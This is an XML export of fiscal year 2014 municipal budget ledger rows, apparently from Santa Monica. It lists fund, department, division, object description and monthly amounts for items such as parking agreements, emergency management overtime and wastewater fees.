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<row _id="8472"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8815.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8815.0</total></row>
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<row _id="8486"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>410160.0</object><object_description>BLOCK PARTIES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-570.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-570.0</total></row>
<row _id="8487"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>404900.0</object><object_description>TMP FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-456167.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-456167.0</total></row>
<row _id="8488"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>410200.0</object><object_description>PROGRAM INCOME</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-70000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-70000.0</total></row>
<row _id="8489"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>59945.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>59945.0</total></row>
<row _id="8490"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>410270.0</object><object_description>AFFORD HOUSING LINKAGE CONTRIB</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-21000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-21000.0</total></row>
<row _id="8491"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>967.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>967.0</total></row>
<row _id="8492"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>139.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>139.0</total></row>
<row _id="8493"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>324.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>324.0</total></row>
<row _id="8494"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555130.0</object><object_description>TOXIC CHEMICAL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>276000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>276000.0</total></row>
<row _id="8495"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>401090.0</object><object_description>INDIRECT COSTS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-11102190.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11102190.0</total></row>
<row _id="8496"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-1806000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1806000.0</total></row>
<row _id="8497"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>15</fund_id><fund_name>Low/Mod Incme Housing Asset Fd</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404178.0</object><object_description>RESIDUAL RECEIPTS-HOUSING</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-400000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-400000.0</total></row>
<row _id="8498"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579961.0</object><object_description>BBB-GEN FUND REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-446690.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-446690.0</total></row>
<row _id="8499"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>555990.0</object><object_description>PARKING AGREEMENT W / MACERICH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2028923.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2028923.0</total></row>
<row _id="8500"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408670.0</object><object_description>METRO WAYFINDING DESIGN WORK</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-100000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-100000.0</total></row>
<row _id="8501"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>407691.0</object><object_description>TAXI FRANCHISE FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-355000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-355000.0</total></row>
<row _id="8502"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511017.0</object><object_description>PERMANENT EMPLOY SWORN POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>243360.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>243360.0</total></row>
<row _id="8503"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3783.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3783.0</total></row>
<row _id="8504"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>276.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>276.0</total></row>
<row _id="8505"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>325.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>325.0</total></row>
<row _id="8506"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>523.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>523.0</total></row>
<row _id="8507"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>555218.0</object><object_description>COMMUNITY EMERGENCY RESP TEAM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>23899.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23899.0</total></row>
<row _id="8508"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>615402.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>615402.0</total></row>
<row _id="8509"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>408303.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>408303.0</total></row>
<row _id="8510"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>578391.0</object><object_description>BIKE VALET - PROP A  LOCAL RET</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>40000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40000.0</total></row>
<row _id="8511"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2698.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2698.0</total></row>
<row _id="8512"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4100.0</total></row>
<row _id="8513"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>555080.0</object><object_description>DEAD ANIMAL DISPOSAL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9738.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9738.0</total></row>
<row _id="8514"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="8515"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>30000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="8516"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
<row _id="8517"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544170.0</object><object_description>UNIF/PROTECIVE CLOTHING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6200.0</total></row>
<row _id="8518"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5625.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5625.0</total></row>
<row _id="8519"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7918.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7918.0</total></row>
<row _id="8520"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>647.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>647.0</total></row>
<row _id="8521"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>77538.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>77538.0</total></row>
<row _id="8522"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15875.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15875.0</total></row>
<row _id="8523"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11156.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11156.0</total></row>
<row _id="8524"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10582.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10582.0</total></row>
<row _id="8525"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>404340.0</object><object_description>INDUSTRIAL WASTE FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-325000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-325000.0</total></row>
<row _id="8526"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
<row _id="8527"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>359.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>359.0</total></row>
<row _id="8528"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>533.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>533.0</total></row>
<row _id="8529"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533560.0</object><object_description>CONF / MTGS / TRAVEL-PO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2975.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2975.0</total></row>
<row _id="8530"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>75931.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>75931.0</total></row>
<row _id="8531"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>300.0</total></row>
